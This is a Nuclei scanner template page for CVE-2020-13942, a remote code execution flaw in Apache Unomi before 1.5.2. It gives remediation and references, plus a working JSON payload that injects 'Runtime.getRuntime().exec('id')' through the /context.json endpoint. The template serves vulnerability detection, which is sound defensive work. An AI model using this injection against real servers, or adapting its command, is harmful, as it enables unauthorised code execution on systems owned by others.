Skip to content

Apache Unomi <1.5.2 - Remote Code Execution

ID: CVE-2020-13942

Severity: critical

Author: dwisiswant0

Tags: cve,cve2020,apache,rce

Apache Unomi allows conditions to use OGNL and MVEL scripting whichoffers the possibility to call static Java classes from the JDKthat could execute code with the permission level of the running Java process.This vulnerability affects all versions of Apache Unomi prior to 1.5.2.

id: CVE-2020-13942
info:
name: Apache Unomi <1.5.2 - Remote Code Execution
author: dwisiswant0
severity: critical
description: |
Apache Unomi allows conditions to use OGNL and MVEL scripting which
offers the possibility to call static Java classes from the JDK
that could execute code with the permission level of the running Java process.
This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
impact: |
Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.
remediation: Apache Unomi users should upgrade to 1.5.2 or later.
reference:
- https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
- https://twitter.com/chybeta/status/1328912309440311297
- https://nvd.nist.gov/vuln/detail/CVE-2020-13942
- http://unomi.apache.org./security/cve-2020-13942.txt
- https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-13942
cwe-id: CWE-74,CWE-20
epss-score: 0.97256
epss-percentile: 0.99818
cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: unomi
tags: cve,cve2020,apache,rce
variables:
id: "{{to_lower(rand_text_alpha(5))}}"
http:
- method: POST
path:
- "{{BaseURL}}/context.json"
body: |
{
"filters": [
{
"id": "{{id}}",
"filters": [
{
"condition": {
"parameterValues": {
"nuclei": "script::Runtime.getRuntime().exec('id')"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "nuclei"
}
headers:
Content-Type: "application/json"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- "context-profile-id"
condition: and
- type: regex
part: body
regex:
- "(profile|session)(Id|Properties|Segments)"
- "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100c3c6f7d4bf48aad8df51b4a83ca698c6b0241ce369ac4f7135e620905fd1e94a022100c1f40913dff001e5341fb4aa324e98e5552d6f719f0512e68026566175079190:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13942.yaml"

View on Github